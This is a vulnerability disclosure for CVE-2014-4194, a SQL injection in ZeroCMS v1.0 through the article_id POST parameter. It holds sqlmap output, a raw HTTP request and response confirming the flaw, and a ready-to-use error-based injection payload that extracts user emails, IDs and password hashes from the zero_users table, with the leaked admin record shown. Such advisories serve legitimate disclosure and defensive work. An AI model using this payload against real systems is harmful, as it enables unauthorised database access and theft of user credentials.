ZeroCMS v1.0 SQL Injection Vulnerability (zero_transact_article.php article_id POST parameter)

Vendor: Another Awesome Stuff
Product web page: http://www.aas9.in/zerocms
Affected version: 1.0
Severity: High
CWE: 89 - http://cwe.mitre.org/data/definitions/89.html
CVE: CVE-2014-4194
Date: 20/06/2014

Discovered by: Filippos Mastrogiannis (@filipposmastro)

--------------------------------------------------------

ZeroCMS is a very simple Content Management System Built using PHP and MySQL.

Description: ZeroCMS v1.0 is vulnerable to SQL Injection.

The user input which is passed via the "article_id" POST parameter of "zero_transact_article.php"
is not properly sanitised allowing the attacker to inject arbitrary sql code and to
execute queries to the database in order to extract sensitive information (e.g. credentials) and/or
to take over the database/system.

Proof Of Concept:

A part of the sqlmap output:

POST parameter 'article_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 261 HTTP(s) requests:
---
Place: POST
Parameter: article_id
..
...
....
---
[XX:XX:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0
[XX:XX:XX] [INFO] fetching current database
current database:    'zero'
..
...
....
--------------------------------------------------------

Proof Of Concept:

Request:

POST /zerocms/zero_transact_article.php HTTP/1.1
Cache-Control: no-cache
Referer: http://[Removed]/zerocms/zero_comment.php?article_id=9
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Accept-Language: en-us,en;q=0.5
Host: [Removed]
Cookie: PHPSESSID=[Removed]
Accept-Encoding: gzip, deflate
Content-Length: 53
Content-Type: application/x-www-form-urlencoded

action=Submit+Comment&article_id='&comment_text=3

Response:

HTTP/1.1 200 OK
Date: [Removed]
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Expires: [Removed]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 226
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', 3, "2014-XX-XX XX:XX:XX", ' at line 4

--------------------------------------------------------

Exploitation:

For example if we want to extract: user_id, email, password from the database use the following payload in the article_id parameter of the POST request:

action=Submit+Comment&article_id=5+and+(select 1 FROM(select count(*),concat((select+concat(email,0x3a,user_id,0x3a,password,0x3a) FROM zero_users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)&comment_text=3

(The database name in our setup is: zero & the session is from an authenticated user)

If we look at the response we can see the extracted data:

Duplicate entry 'admin@domain.com:1:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:1' for key 'group_key'